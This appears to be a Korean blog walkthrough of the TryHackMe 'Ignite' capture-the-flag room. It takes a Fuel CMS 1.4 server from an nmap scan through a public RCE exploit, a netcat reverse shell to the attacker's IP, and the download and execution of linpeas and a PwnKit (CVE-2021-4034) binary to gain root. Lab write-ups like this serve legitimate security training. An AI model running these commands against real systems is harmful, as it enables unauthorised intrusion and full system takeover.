[TryHackMe] Ignite

2023. 10. 25. 00:56War Game/TryHackMe

 

Ignite : Target

 

 

Target Flag : User.txt, Root.txt

 

Ignite : Exploit

 

 

nmap -sCV 10.10.113.12 > scan_res
cat scan_res

 

공격대상의 포트를 스캔한 결과 80번 포트만 열려있는 것을 확인하였다. 80번 포트가 열려있으므로 웹 브라우저에 공격대상의 IP 주소를 입력해 보자.

 

 

공격대상의 IP 주소를 웹 브라우저에 입력했더니 Fuel CMS에 관한 설명이 나와있는 웹 페이지가 나타났다. 

 

 

해당 사이트에서 정보를 수집하다 이러한 문장을 발견하였다. 여기서 보이는 URL이 공격대상의 URL로 보이는 것으로 보아 해당 웹 페이지는 Fuel CMS로 제작이 된 것으로 추측해 볼 수 있다. 또한 나와있는 URL을 웹 브라우저에 입력했더니 관리자 페이지에 접속할 수 있는 로그인 화면이 나타났고 발견한 문장에 쓰여있는 계정 정보를 입력했더니 관리자 계정으로 접속을 할 수 있었다. 탐색해 본 결과 별다른 정보는 얻을 수 없었다.

 

 

searchsploit fuel cms 1.4

 

웹 페이지에 나와있듯이 공격대상의 웹 페이지는 Fuel CMS Version 1.4로 제작되어 있으므로 해당 버전의 취약점을 확인해 보았다. 취약점으로 RCE(Remote Code Execution) 취약점을 가지고 있었으며 이를 통해 공격대상 시스템에서 리버스 쉘을 실행하여 쉘을 획득하는 시나리오를 생각해 볼 수 있다.

 

 

cp /usr/share/exploitdb/exploits/php/webapps/50477.py ./exploit.py
chmod 777 exploit.py
python exploit.py

 

보인 취약점 중 Fuel CMS 1.4.1 - Remote Code Execution (3) 취약점을 사용하여 진행한다. 확장자가 py이므로 python으로 실행을 하여 usage를 확인한다. 

 

 

python3 exploit.py -u http://10.10.113.12
id
pwd

 

usage를 따라 입력했더니 공격대상 시스템의 쉘을 획득하였다.

 

 

[공격자 컴퓨터]
nc -nlvp 7777
[공격대상 컴퓨터]
busybox nc 10.18.30.184 7777 -e sh
[공격자 컴퓨터]
id
pwd

 

하지만 RCE 취약점으로 얻은 쉘은 제한된 쉘이기에 공격대상 시스템에서 리버스 쉘 코드를 입력하여 좀 더 자유로운 쉘을 획득하였다. 이제 쉘을 획득했기 때문에 공격대상 시스템의 사용자 계정으로 쉘을 획득하거나 아니면 바로 권한 상승을 위한 공격을 진행한다.

 

 

cat /etc/passwd

 

우선 사용자 계정 정보를 알아보기 위해 /etc/passwd 파일을 확인했더니 해당 시스템에는 로그인 가능한 사용자 계정이 존재하지 않았다. 그렇다면 바로 권한 상승 공격을 진행하기 위해 linpeas.sh라는 프로그램을 다운로드한다.

 

 

wget https://github.com/carlospolop/PEASS-ng/releases/download/20231024-f6adaa47/linpeas.sh
python3 -m http.server 80

 

linpeas.sh 프로그램은 실행한 시스템에서 root 권한으로 상승할 수 있는 대부분의 방법을 알려주는 프로그램이다. 해당 파일을 사용하기 위해 프로그램을 공격대상 시스템에 옮겨야 한다. 그러나 공격대상 시스템에서는 wget 명령어를 통해 직접적으로 다운로드가 안되기 때문에 공격자 시스템에서 다운로드하고 공격대상 시스템으로 파일을 전달하도록 한다.

 

 

wget http://10.18.30.184/linpeas.sh
chmod 777 linpeas.sh
ls -al
./linpeas.sh

 

공격대상 시스템에서 linpeas.sh 프로그램을 다운로드 받고 실행하면 이렇게 귀여운 완두콩 그림이 반겨준다.

 

 

linpeas.sh 프로그램을 실행하여 출력된 정보 중 이렇게 공식적으로 등록된 취약점을 통한 권한 상승도 알려준다. 이번에는 최상단의 CVE-2021-4034 취약점을 사용하여 공격을 진행한다.

 

 

wget http://10.18.30.184/PwnKit
chmod 777 PwnKit
ls -al
./PwnKit
id

 

linpeas.sh 프로그램을 다운로드한 방법과 동일하게 해당 취약점을 실행하는 프로그램을 다운로드한다. 프로그램에 실행 권한을 부여하고 실행시키면 root 권한을 얻을 수 있다.

 

 

cd /home/www-data
ls -al
cat flag.txt

 

User.txt는 쉘을 획득했을 때의 계정의 홈 디렉터리에 존재하였다.

 

 

cd /root
ls -al
cat root.txt

 

Root.txt는 root 권한을 얻고 root 계정의 홈 디렉터리에 존재하였다.

'War Game > TryHackMe' 카테고리의 다른 글

[TryHackMe] Agent Sudo  (0) 2023.11.01
[TryHackMe] Simple CTF  (0) 2023.10.31